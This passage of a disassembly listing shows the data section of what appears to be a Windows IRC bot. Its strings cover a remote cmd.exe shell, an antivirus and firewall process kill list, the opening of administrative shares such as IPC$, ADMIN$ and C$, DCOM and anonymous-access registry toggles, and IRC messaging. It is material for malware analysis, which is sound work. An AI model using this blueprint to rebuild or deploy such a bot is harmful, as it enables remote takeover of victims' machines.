sub_419965+83r ... ; "Added" dword_44FE90 dd 0 ; DATA XREF: sub_41958E+18r dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1 dd offset aPause_0 ; "Pause" dd offset aPaused_0 ; "Paused" dd 2 dd offset aContinue_0 ; "Continue" dd offset aContinued ; "Continued" dd 3 dword_44FEDC dd 646441h ; DATA XREF: .data:off_44FE88o aAdded db 'Added',0 ; DATA XREF: .data:off_44FE8Co align 4 aDelete_1 db 'Delete',0 ; DATA XREF: .data:0044FE94o align 10h aDeleted db 'Deleted',0 ; DATA XREF: .data:0044FE98o aList_1 db 'List',0 ; DATA XREF: .data:0044FEA0o align 10h aListed db 'Listed',0 ; DATA XREF: .data:0044FEA4o align 4 aStart_0 db 'Start',0 ; DATA XREF: .data:0044FEACo align 10h aStarted db 'Started',0 ; DATA XREF: .data:0044FEB0o aStop_0 db 'Stop',0 ; DATA XREF: .data:0044FEB8o align 10h aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0044FEBCo aPause_0 db 'Pause',0 ; DATA XREF: .data:0044FEC4o align 10h aPaused_0 db 'Paused',0 ; DATA XREF: .data:0044FEC8o align 4 aContinue_0 db 'Continue',0 ; DATA XREF: .data:0044FED0o align 4 aContinued db 'Continued',0 ; DATA XREF: .data:0044FED4o align 10h ; char asc_44FF50[] asc_44FF50 db '-' ; DATA XREF: sub_41958E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_44FF6C db 2Dh ; - ; DATA XREF: sub_41958E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 ; char asc_44FF98[] asc_44FF98 db '-' ; DATA XREF: sub_41958E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4196AA:loc_419783o align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4196AA:loc_419704o aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4196AA+3Co align 10h aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4196AA:loc_4196FAo align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4196AA:loc_41970Eo aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4196AA:loc_419758o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4196AA+8Fo aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4196AA:loc_41978Ao db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4196AA:loc_419791o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4196AA:loc_419798o align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4196AA:loc_41979Fo align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4196AA:loc_4197A6o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4196AA:loc_4197ADo align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4196AA:loc_419743o align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4196AA:loc_41974Ao db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4196AA:loc_419718o db 'dependent on it.',0 align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4196AA:loc_4196F0o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4196AA:loc_419751o db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4196AA:loc_4197B4o db 'the state of the service.',0 align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4196AA:loc_4197BBo align 4 ; char aTheSystemIsShu[] aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4196AA:loc_4197C2o align 4 ; char aAnUnknownError[] aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4196AA+12Co align 4 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_419828+25o align 4 ; char aStopped[] aStopped db ' Stopped',0 ; DATA XREF: sub_419828:loc_4198F4o aStarting db ' Starting',0 ; DATA XREF: sub_419828:loc_4198EDo aStoping db ' Stoping',0 ; DATA XREF: sub_419828:loc_4198E6o aRunning db ' Running',0 ; DATA XREF: sub_419828:loc_4198DFo aContinuing db ' Continuing',0 ; DATA XREF: sub_419828:loc_4198D8o aPausing db ' Pausing',0 ; DATA XREF: sub_419828:loc_4198D1o aPaused db ' Paused',0 ; DATA XREF: sub_419828:loc_4198CAo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_419828+9Bo ; char aSSS_2[] aSSS_2 db '%s: %s (%s)',0 ; DATA XREF: sub_419828+EBo ; char asc_4504F4[] asc_4504F4 db '-' ; DATA XREF: sub_419965+8Ao db 3, 34h, 2 dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h dd 27h ; char asc_450510[] asc_450510 db '-' ; DATA XREF: sub_419965+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 ; char asc_45053C[] asc_45053C db '-' ; DATA XREF: sub_419965+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_419B5B+26o align 4 aYes db 'Yes',0 ; DATA XREF: sub_419B5B+B5o aNo db 'No',0 ; DATA XREF: sub_419B5B+BCo align 10h ; char a14s24s6u4s[] a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419B5B+D0o align 4 ; char asc_4505B8[] asc_4505B8 db '-' ; DATA XREF: sub_419B5B+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h ; char asc_4505E0[] asc_4505E0 db '-' ; DATA XREF: sub_419C7C+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h ; char asc_450600[] asc_450600 db '-' ; DATA XREF: sub_419C7C+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h ; char asc_450630[] asc_450630 db '-' ; DATA XREF: sub_419C7C+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 ; char aAccountS[] aAccountS db 'Account: %S',0 ; DATA XREF: sub_419DC3+50o ; char aFullNameS[] aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419DC3+84o align 4 ; char aUserCommentS[] aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419DC3+AFo align 4 ; char aCommentS[] aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419DC3+DAo aGuest db 'Guest',0 ; DATA XREF: sub_419DC3:loc_419EE2o align 4 aUser_3 db 'User',0 ; DATA XREF: sub_419DC3:loc_419EDBo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_419DC3:loc_419ED4o align 4 aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_419DC3+10Ao ; char aPrivilegeLevel[] aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419DC3+12Bo ; char aAuthFlagsD[] aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419DC3+156o align 10h ; char aHomeDirectoryS[] aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419DC3+181o align 4 ; char aParametersS[] aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419DC3+1ACo align 4 ; char aPasswordAgeD[] aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419DC3+1D7o align 4 ; char aBadPasswordCou[] aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419DC3+202o align 10h ; char aNumberOfLogins[] aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419DC3+22Do align 4 ; char aLastLogonD[] aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419DC3+258o align 4 ; char aLastLogoffD[] aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419DC3+283o ; char aLogonServerS[] aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419DC3+2AEo align 4 ; char aWorkstationsS[] aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419DC3+2D9o align 10h ; char aCountryCodeD[] aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419DC3+304o align 4 ; char aUserSLanguageD[] aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419DC3+32Fo ; char aMax_StorageD[] aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419DC3+35Ao align 4 ; char aUnitsPerWeekD[] aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419DC3+385o align 10h ; char asc_4507E0[] asc_4507E0 db '-' ; DATA XREF: sub_419DC3+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41A1AC+29o ; char asc_450828[] asc_450828 db '-' ; DATA XREF: sub_41A1AC+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 ; char aS_30[] aS_30 db ' %S',0 ; DATA XREF: sub_41A1AC+BEo align 4 ; char asc_45085C[] asc_45085C db '-' ; DATA XREF: sub_41A1AC+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 ; char aTotalUsersFoun[] aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41A1AC+14Fo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41A32C:loc_41A38Fo align 4 aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A3D0o aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A399o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41A32C+3Bo align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41A32C:loc_41A385o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41A32C:loc_41A37Bo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41A32C:loc_41A371o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41A32C:loc_41A43Bo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41A32C+89o align 10h aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A32C:loc_41A3BFo align 4 aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41A32C:loc_41A3C9o aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41A32C:loc_41A434o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41A32C+CFo db ' the domain.',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41A32C:loc_41A409o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41A32C:loc_41A402o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41A32C:loc_41A410o db 'ord policy requirement.)',0 align 4 ; char aNetworkConnect[] aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41A32C:loc_41A449o align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41A32C:loc_41A3D7o aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41A32C:loc_41A442o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41A32C:loc_41A42Do align 4 ; char asc_450B58[] asc_450B58 db '-' ; DATA XREF: sub_41A460+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 10h ; char asc_450B80[] asc_450B80 db '-' ; DATA XREF: sub_41A460+ABo db 3, 34h, 2 dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h dword_450BAC dd 7530h ; DATA XREF: sub_41A8E1+12r off_450BB0 dd offset aRegedit_exe ; DATA XREF: sub_41A589+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe_0 ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" aRegedit_exe db 'regedit.exe',0 ; DATA XREF: sub_41A589+ECo ; .data:off_450BB0o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:00450BB4o align 4 aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:00450BB8o aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:00450BBCo aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:00450BC0o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:00450BC4o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:00450BC8o align 4 aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:00450BCCo align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00450BD0o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00450BD4o align 4 aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:00450BD8o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:00450BDCo aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:00450BE0o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:00450BE4o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:00450BE8o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:00450BECo aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:00450BF0o align 10h aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:00450BF4o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:00450BF8o align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:00450BFCo align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:00450C00o align 10h aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:00450C04o align 10h aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:00450C08o align 4 aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:00450C0Co align 4 aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A589+5Ao align 10h aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41A589+17Do align 4 aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_41A589+18Bo align 4 ; char aSD_2[] aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_41A589+19Fo align 4 aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A589+207o align 4 ; char asc_450DA8[] asc_450DA8 db '-' ; DATA XREF: sub_41A7CC+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 unk_450DC8 db 2Dh ; - ; DATA XREF: sub_41A7CC+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 ; char asc_450DEC[] asc_450DEC db '-' ; DATA XREF: sub_41A7CC:loc_41A853o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 10h ; char aPrivmsgSS_4[] aPrivmsgSS_4 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A969+33o ; char aS_31[] aS_31 db '%s',0 ; DATA XREF: sub_41A969+4Co align 4 unk_450E24 db 2Dh ; - ; DATA XREF: sub_41A9F0:loc_41AAD6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_450E54 db 2Dh ; - ; DATA XREF: sub_41A9F0+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_450E7C db 2Dh ; - ; DATA XREF: sub_41A9F0:loc_41AB22o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0 aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_41AB45+20o ; char asc_450EB4[] asc_450EB4 db '-' ; DATA XREF: sub_41AB45+150o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 ; char asc_450ED8[] asc_450ED8 db '-' ; DATA XREF: sub_41AB45+198o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 10h off_450F10 dd offset aIpc ; DATA XREF: sub_41AD5D+1B3o ; sub_41B081+179o ; "IPC$" align 8 dd offset aAdmin_1 ; "ADMIN$" align 10h off_450F20 dd offset aC_5 ; DATA XREF: sub_41B081+1E1o ; "C$" dd offset aC_6 ; "C:\\" dd offset aD_3 ; "D$" dd offset aD_4 ; "D:\\" aIpc db 'IPC$',0 ; DATA XREF: sub_41AD5D+217o ; .data:off_450F10o align 4 aAdmin_1 db 'ADMIN$',0 ; DATA XREF: .data:00450F18o align 10h aC_5 db 'C$',0 ; DATA XREF: .data:off_450F20o align 4 aC_6 db 'C:\',0 ; DATA XREF: .data:00450F24o aD_3 db 'D$',0 ; DATA XREF: .data:00450F28o align 4 aD_4 db 'D:\',0 ; DATA XREF: .data:00450F2Co word_450F50 dw 4Eh ; DATA XREF: sub_41AD5D+38r align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41AD5D+54o align 10h dword_450F60 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 ; char asc_450F84[] asc_450F84 db '-' ; DATA XREF: sub_41AD5D:loc_41ADCAo db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h dd 2E64656Ch, 0 ; char asc_450FA4[] asc_450FA4 db '-' ; DATA XREF: sub_41AD5D+91o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToOpenDc db '- Failed to open DCOM registry key.',0 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41AD5D+EDo align 4 dword_450FE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 ; char asc_451024[] asc_451024 db '-' ; DATA XREF: sub_41AD5D:loc_41AE6Ao db 3, 34h, 2 dd 75636573h, 3026572h aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_451058 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D:loc_41AE88o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 ; char asc_451094[] asc_451094 db '-' ; DATA XREF: sub_41AD5D:loc_41AE8Fo db 3, 34h, 2 dd 75636573h, 3026572h aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_4510C4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 ; char asc_4510E8[] asc_4510E8 db '-' ; DATA XREF: sub_41AD5D:loc_41AFBFo db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_451114 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AD5D+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 ; char asc_451138[] asc_451138 db '-' ; DATA XREF: sub_41AD5D:loc_41AF2Co db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 ; char asc_451164[] asc_451164 db '-' ; DATA XREF: sub_41AD5D+2CFo db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesD db '- Network shares deleted.',0 align 4 ; char asc_45118C[] asc_45118C db '-' ; DATA XREF: sub_41AD5D+2E5o db 3, 34h, 2 dd 75636573h, 3026572h aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 word_4511BC dw 59h ; DATA XREF: sub_41B081+38r align 10h aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_41B081+54o align 4 dword_4511CC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 10h ; char asc_4511F0[] asc_4511F0 db '-' ; DATA XREF: sub_41B081:loc_41B0EEo db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh dd 2E6465h ; char asc_45120C[] asc_45120C db '-' ; DATA XREF: sub_41B081+91o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToOpen_1 db '- Failed to open DCOM registry key.',0 aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_41B081+EDo align 10h dword_451250 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 10h ; char asc_451290[] asc_451290 db '-' ; DATA XREF: sub_41B081:loc_41B18Ao db 3, 34h, 2 dd 75636573h, 3026572h aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_4512C8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081:loc_41B1A8o aFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0 ; char asc_451304[] asc_451304 db '-' ; DATA XREF: sub_41B081:loc_41B1AFo db 3, 34h, 2 dd 75636573h, 3026572h aAdvapi32_dll_0 db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_451334 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+192o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 ; char asc_451354[] asc_451354 db '-' ; DATA XREF: sub_41B081:loc_41B21Ao db 3, 34h, 2 dd 75636573h, 3026572h aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 ; char aC_1[] aC_1 db '%c$',0 ; DATA XREF: sub_41B081+216o ; char aC_0[] aC_0 db '%c:\',0 ; DATA XREF: sub_41B081+22Do align 4 dword_451388 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41B081+266o aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0 ; char asc_4513A8[] asc_4513A8 db '-' ; DATA XREF: sub_41B081:loc_41B2EEo db 3, 34h, 2 dd 75636573h, 3026572h aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0 ; char asc_4513D0[] asc_4513D0 db '-' ; DATA XREF: sub_41B081+2C3o db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesA db '- Network shares added.',0 ; char asc_4513F4[] asc_4513F4 db '-' ; DATA XREF: sub_41B081+2DBo db 3, 34h, 2 dd 75636573h, 3026572h aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 ; char aPostHttp1_0Hos[] aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B3B5+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 ; char asc_451458[] asc_451458 db 0Dh,0Ah,0 ; DATA XREF: sub_41B3B5+F5o align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41B592+15o aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41B592+1Co align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41B592+23o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41B592+2Ao align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41B592+31o align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41B592+38o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41B592+3Fo align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41B592+46o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41B592+4Do align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41B592+54o align 4 aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41B592+5Bo align 4 aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41B592+62o aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41B592+69o aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41B592+70o align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41B592+77o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41B592+7Eo align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41B592+85o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41B592+8Co align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41B592+93o align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41B592+9Ao align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B592+A1o aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B592+A8o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41B592+AFo align 4 aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41B592+B6o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41B592+BDo aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41B592+C4o align 4 ; char asc_451608[] asc_451608 db '-' ; DATA XREF: sub_41B592+1A7o db 3, 34h, 2 dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h dd 626B2064h, 732F7469h, 0 ; char aDdDhDm[] aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41B76F+52o a95_0 db '95',0 ; DATA XREF: sub_41B92C+46o align 4 aNt_0 db 'NT',0 ; DATA XREF: sub_41B92C+5Ao align 4 a98_0 db '98',0 ; DATA XREF: sub_41B92C+6Co align 10h aMe_1 db 'ME',0 ; DATA XREF: sub_41B92C+7Eo align 4 a2k_0 db '2K',0 ; DATA XREF: sub_41B92C+98o align 4 aXp_0 db 'XP',0 ; DATA XREF: sub_41B92C+AAo align 4 a2003 db '2003',0 ; DATA XREF: sub_41B92C+BAo align 4 a???_0 db '???',0 ; DATA XREF: sub_41B92C:loc_41B9EFo ; char aSS_12[] aSS_12 db '%s (%s)',0 ; DATA XREF: sub_41B92C+EBo word_4516A0 dw 3Fh ; DATA XREF: sub_41B92C:loc_41BA2Er align 4 ; char aCouldnTResolve[] aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B92C:loc_41BA90o align 4 aDdMmmYyyy db 